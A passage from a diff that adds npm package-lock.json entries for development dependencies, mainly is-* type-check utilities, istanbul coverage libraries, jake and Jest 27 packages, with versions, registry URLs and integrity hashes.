"sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-boolean-object": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz", + "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-data-view": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz", + "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "is-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz", + "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true, + "license": "MIT", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finalizationregistry": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz", + "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", + "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-generator-function": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz", + "integrity": "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.4", + "generator-function": "^2.0.0", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz", + "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz", + "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-negative-zero": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz", + "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz", + "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-regex": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", + "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-regexp": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz", + "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-root": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz", + "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/is-set": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz", + "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz", + "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-string": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz", + "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz", + "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-symbols": "^1.1.0", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz", + "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-weakmap": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz", + "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakref": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz", + "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz", + "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true, + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-instrument": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", + "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-report/node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/istanbul-lib-report/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-source-maps/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/istanbul-reports": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", + "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/iterator.prototype": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.5.tgz", + "integrity": "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.6", + "get-proto": "^1.0.0", + "has-symbols": "^1.1.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/jake": { + "version": "10.9.4", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz", + "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "async": "^3.2.6", + "filelist": "^1.0.4", + "picocolors": "^1.1.1" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest/-/jest-27.5.1.tgz", + "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/core": "^27.5.1", + "import-local": "^3.0.2", + "jest-cli": "^27.5.1" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-changed-files": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.5.1.tgz", + "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "execa": "^5.0.0", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-changed-files/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-changed-files/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-changed-files/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-circus": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-27.5.1.tgz", + "integrity": "sha512-D95R7x5UtlMA5iBYsOHFFbMD/GVA4R/Kdq15f7xYWUfWHBto9NYRsOvnSauTgdF+ogCpJ4tyKOXhUifxS65gdw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "dedent": "^0.7.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-circus/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-circus/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-circus/node_modules/expect": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz", + "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + 